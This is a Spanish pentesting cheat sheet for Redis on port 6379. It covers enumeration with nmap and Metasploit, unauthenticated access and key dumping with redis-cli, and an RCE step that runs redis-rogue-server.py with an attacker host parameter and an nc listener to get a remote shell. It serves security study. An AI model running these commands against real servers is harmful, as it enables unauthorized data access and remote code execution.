6379 Redis

Redis #

Redis es un almacén de estructuras de datos en memoria, de código abierto (licencia BSD), utilizado como base de datos, caché y broker de mensajes.

Por defecto, Redis utiliza un protocolo basado en texto plano, pero debes tener en cuenta que también puede implementar ssl/tls.

Enumeración #

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Si damos con un fichero de configuración, las líneas mas importantes son:

  • requirepass (en caso de tener contraseña la veremos ahí)

Conexion a servidor Redis #

### SIN CONTRASEÑA
redis-cli -h 192.168.1.100 -p 6379 
### CON CONTRASEÑA
redis-cli -h 192.168.1.100 -p 6379 -a 'tu_contraseña'

Comandos básicos #

INFO
CONFIG GET *

### Obtener datos
INFO keyspace
SELECT 1 # [ ... Indicate the database ... ]
KEYS * # [ ... Get Keys ... ]
GET <KEY> # [ ... Get Key ... ]
Obtener datos (explicado) #
####VER LAS BASES DE DATOS
INFO keyspace
# Keyspace
db0:keys=5,expires=0,avg_ttl=0 #### AQUI VEMOS QUE TENEMOS UNA BASE DE DATOS, LA 0. si tuvieramos mas, veriamos algo así:

db0:keys=5,expires=0,avg_ttl=0
db1:keys=5,expires=0,avg_ttl=0
db2:keys=5,expires=0,avg_ttl=0
...


#### OBTENER LOS DATOS
SELECT 0 # seleccionar base de datos
KEYS * # vert todas "tablas"
GET <KEY_NAME> # "ver el valor de esa clave / tabla"

###################################
########DEPENDE EL TIPO DE DATOS, E LUGAR DE GET debemos usar estos otros.
if value is of type string -> GET <key>  
if value is of type hash -> HGETALL <key>  
if value is of type lists -> lrange <key> <start> <end>  
if value is of type sets -> smembers <key>  
if value is of type sorted sets -> ZRANGEBYSCORE <key> <min> <max>

# EJEMPLO
lrange <key> 0 100 (los numeros de 0 a 100 puede variar, es ir probando)

Redis RCE #

Redis-rogue-server.py Con esta herramienta puedes obtener una shell interactiva para versiones igual o inferior a la 5.0.5 uso

python3 ./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP> --passwd='CONTRASEÑA_EN_CASO_NECESARIO'

##NOS PEDIRÁ LA IP DE ATACANTE Y UN PUERTO
nc -nlvp <puerto>